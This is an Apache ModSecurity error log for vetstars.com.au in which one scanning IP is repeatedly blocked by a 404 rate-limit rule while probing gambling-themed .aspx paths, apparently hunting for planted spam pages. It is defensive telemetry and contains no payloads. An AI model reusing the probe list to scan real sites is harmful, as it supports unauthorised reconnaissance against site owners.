[Mon Feb 09 15:13:02.339829 2026] [:error] [pid 47938:tid 47987] [client 54.37.254.218:45876] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYmI_rVCzWE6fQJEkNLa7QAAAEg"]
[Mon Feb 09 15:13:03.011857 2026] [:error] [pid 60677:tid 60739] [client 54.37.254.218:45888] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYmI_1yBgzfmDf6GaetozQAAAs4"]
[Mon Feb 09 15:13:04.690248 2026] [:error] [pid 60677:tid 60719] [client 54.37.254.218:45894] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYmJAFyBgzfmDf6Gaeto1QAAAsg"]
[Mon Feb 09 15:13:05.883925 2026] [:error] [pid 47938:tid 47985] [client 54.37.254.218:45902] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYmJAbVCzWE6fQJEkNLa9gAAAEY"]
[Mon Feb 09 15:13:07.188804 2026] [:error] [pid 60508:tid 60534] [client 54.37.254.218:45916] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYmJA-XDvLC4ADfnEzOQswAAAZg"]
[Mon Feb 09 15:13:08.691270 2026] [:error] [pid 60678:tid 60740] [client 54.37.254.218:45928] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYmJBO8Gd_fDFrcNu4N-oQAAAwU"]
[Mon Feb 09 15:13:09.711808 2026] [:error] [pid 18303:tid 18310] [client 54.37.254.218:45530] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYmJBUY7TEaZkFrGG4lo9AAAAQU"]
[Mon Feb 09 15:13:11.492912 2026] [:error] [pid 18303:tid 18328] [client 54.37.254.218:45546] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYmJB0Y7TEaZkFrGG4lo9QAAARc"]
[Mon Feb 09 15:13:12.213180 2026] [:error] [pid 18303:tid 18318] [client 54.37.254.218:45560] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYmJCEY7TEaZkFrGG4lo9gAAAQ0"]
[Mon Feb 09 15:13:14.123097 2026] [:error] [pid 47937:tid 47952] [client 54.37.254.218:45576] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYmJCs4Fd42MP2DhNrWzjwAAAAY"]
[Mon Feb 09 15:13:14.876835 2026] [:error] [pid 60676:tid 60693] [client 54.37.254.218:45582] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYmJCnhKcn7mJYMx5_BxMwAAAok"]
[Mon Feb 09 15:13:16.908936 2026] [:error] [pid 60508:tid 60522] [client 54.37.254.218:45584] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYmJDOXDvLC4ADfnEzOQuQAAAYw"]
[Mon Feb 09 15:13:17.416468 2026] [:error] [pid 60589:tid 60611] [client 54.37.254.218:45586] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYmJDTIJyhPWC0JyMLxKcAAAAdQ"]
[Mon Feb 09 15:13:19.573153 2026] [:error] [pid 18303:tid 18324] [client 54.37.254.218:37180] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYmJD0Y7TEaZkFrGG4lo_AAAARM"]
[Mon Feb 09 15:13:20.165882 2026] [:error] [pid 60679:tid 60754] [client 54.37.254.218:37190] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYmJEMixhoT1e6Iv6g-xPgAAA0w"]
[Mon Feb 09 15:13:22.268170 2026] [:error] [pid 47938:tid 47980] [client 54.37.254.218:37196] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYmJErVCzWE6fQJEkNLbEQAAAEE"]
[Mon Feb 09 15:13:22.785279 2026] [:error] [pid 18303:tid 18307] [client 54.37.254.218:37206] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYmJEkY7TEaZkFrGG4lo_QAAAQI"]
[Mon Feb 09 15:13:24.854893 2026] [:error] [pid 60589:tid 60615] [client 54.37.254.218:37212] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYmJFDIJyhPWC0JyMLxKeAAAAdg"]
[Mon Feb 09 15:13:48.810999 2026] [:error] [pid 60678:tid 60771] [client 54.37.254.218:37236] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYmJLO8Gd_fDFrcNu4N-0gAAAxA"]
[Mon Feb 09 15:13:49.466508 2026] [:error] [pid 60678:tid 60780] [client 54.37.254.218:37226] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYmJLe8Gd_fDFrcNu4N-0wAAAxM"]
[Mon Feb 09 15:13:51.376851 2026] [:error] [pid 60678:tid 60765] [client 54.37.254.218:50242] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYmJL-8Gd_fDFrcNu4N-1gAAAw4"]
[Mon Feb 09 15:13:52.025472 2026] [:error] [pid 60508:tid 60522] [client 54.37.254.218:50246] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYmJMOXDvLC4ADfnEzOQ3wAAAYw"]
[Mon Feb 09 15:13:54.001467 2026] [:error] [pid 60677:tid 60749] [client 54.37.254.218:50262] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYmJMlyBgzfmDf6GaetpNgAAAtA"]
[Mon Feb 09 15:13:54.457202 2026] [:error] [pid 60589:tid 60603] [client 54.37.254.218:50268] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYmJMjIJyhPWC0JyMLxKmAAAAcw"]
[Mon Feb 09 15:13:56.461311 2026] [:error] [pid 60677:tid 60762] [client 54.37.254.218:50272] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYmJNFyBgzfmDf6GaetpOQAAAtQ"]
[Mon Feb 09 15:13:57.105025 2026] [:error] [pid 47938:tid 47983] [client 54.37.254.218:50280] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYmJNbVCzWE6fQJEkNLbLQAAAEQ"]
[Mon Feb 09 15:13:58.976062 2026] [:error] [pid 47938:tid 48000] [client 54.37.254.218:60862] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYmJNrVCzWE6fQJEkNLbLwAAAFU"]
[Mon Feb 09 15:13:59.606665 2026] [:error] [pid 18303:tid 18327] [client 54.37.254.218:60870] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYmJN0Y7TEaZkFrGG4lpJAAAARY"]
[Mon Feb 09 15:14:01.529457 2026] [:error] [pid 60508:tid 60512] [client 54.37.254.218:60872] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYmJOeXDvLC4ADfnEzOQ4wAAAYI"]
[Mon Feb 09 15:14:02.171611 2026] [:error] [pid 60619:tid 60647] [client 54.37.254.218:60884] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYmJOnEpg0UoeR8kJ-35agAAAkY"]
[Mon Feb 09 15:14:04.181838 2026] [:error] [pid 18303:tid 18316] [client 54.37.254.218:60890] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYmJPEY7TEaZkFrGG4lpKAAAAQs"]
[Mon Feb 09 15:14:04.872627 2026] [:error] [pid 60676:tid 60691] [client 54.37.254.218:60898] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYmJPHhKcn7mJYMx5_BxegAAAoc"]
[Mon Feb 09 15:14:06.796812 2026] [:error] [pid 60679:tid 60732] [client 54.37.254.218:60914] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYmJPsixhoT1e6Iv6g-xagAAA0I"]
[Mon Feb 09 15:14:07.488957 2026] [:error] [pid 60508:tid 60524] [client 54.37.254.218:60916] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYmJP-XDvLC4ADfnEzOQ6AAAAY4"]
[Mon Feb 09 15:14:09.432610 2026] [:error] [pid 60619:tid 60640] [client 54.37.254.218:47196] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYmJQXEpg0UoeR8kJ-35eAAAAkA"]
[Mon Feb 09 15:14:09.879322 2026] [:error] [pid 18303:tid 18305] [client 54.37.254.218:47212] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYmJQUY7TEaZkFrGG4lpLAAAAQA"]
[Mon Feb 09 15:14:12.017803 2026] [:error] [pid 60677:tid 60714] [client 54.37.254.218:47220] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYmJRFyBgzfmDf6GaetpVQAAAsM"]
[Mon Feb 09 15:14:12.435814 2026] [:error] [pid 60677:tid 60776] [client 54.37.254.218:47230] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYmJRFyBgzfmDf6GaetpVgAAAtc"]
[Mon Feb 09 15:14:14.588303 2026] [:error] [pid 47938:tid 47991] [client 54.37.254.218:47236] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYmJRrVCzWE6fQJEkNLbRQAAAEw"]
[Mon Feb 09 15:14:15.164170 2026] [:error] [pid 60619:tid 60646] [client 54.37.254.218:47240] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYmJR3Epg0UoeR8kJ-35fgAAAkU"]
[Mon Feb 09 15:14:17.099996 2026] [:error] [pid 60619:tid 60642] [client 54.37.254.218:47254] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYmJSXEpg0UoeR8kJ-35hAAAAkI"]
[Mon Feb 09 15:14:17.795796 2026] [:error] [pid 18303:tid 18327] [client 54.37.254.218:47258] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYmJSUY7TEaZkFrGG4lpQAAAARY"]
[Mon Feb 09 15:14:19.577462 2026] [:error] [pid 60508:tid 60522] [client 54.37.254.218:43838] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYmJS-XDvLC4ADfnEzOQ9AAAAYw"]
[Mon Feb 09 15:14:20.365949 2026] [:error] [pid 60677:tid 60720] [client 54.37.254.218:43848] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYmJTFyBgzfmDf6GaetpcQAAAsk"]
[Mon Feb 09 15:14:22.195400 2026] [:error] [pid 60619:tid 60650] [client 54.37.254.218:43860] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYmJTnEpg0UoeR8kJ-35kAAAAkg"]
[Mon Feb 09 15:14:22.974628 2026] [:error] [pid 60508:tid 60532] [client 54.37.254.218:43868] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYmJTuXDvLC4ADfnEzOQ-QAAAZY"]
[Mon Feb 09 15:14:24.776815 2026] [:error] [pid 18303:tid 18315] [client 54.37.254.218:43878] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYmJUEY7TEaZkFrGG4lpRwAAAQo"]
[Mon Feb 09 15:14:25.445765 2026] [:error] [pid 60508:tid 60521] [client 54.37.254.218:43894] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYmJUeXDvLC4ADfnEzOQ_wAAAYs"]
[Mon Feb 09 15:14:27.387182 2026] [:error] [pid 47937:tid 47960] [client 54.37.254.218:43896] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYmJU84Fd42MP2DhNrWzygAAAA4"]
[Mon Feb 09 15:14:28.128408 2026] [:error] [pid 47938:tid 47980] [client 54.37.254.218:43908] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYmJVLVCzWE6fQJEkNLbXwAAAEE"]
[Mon Feb 09 15:14:29.909667 2026] [:error] [pid 60678:tid 60783] [client 54.37.254.218:46240] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYmJVe8Gd_fDFrcNu4N-_QAAAxQ"]
[Mon Feb 09 15:14:30.562140 2026] [:error] [pid 60677:tid 60717] [client 54.37.254.218:46256] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYmJVlyBgzfmDf6GaetphAAAAsY"]
[Mon Feb 09 15:14:32.578566 2026] [:error] [pid 60676:tid 60701] [client 54.37.254.218:46266] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYmJWHhKcn7mJYMx5_BxogAAApE"]
[Mon Feb 09 15:14:33.142267 2026] [:error] [pid 60677:tid 60762] [client 54.37.254.218:46268] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYmJWVyBgzfmDf6GaetpiQAAAtQ"]
[Mon Feb 09 15:14:35.320148 2026] [:error] [pid 60619:tid 60668] [client 54.37.254.218:46284] [client 54.37.254.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYmJW3Epg0UoeR8kJ-35sgAAAlI"]
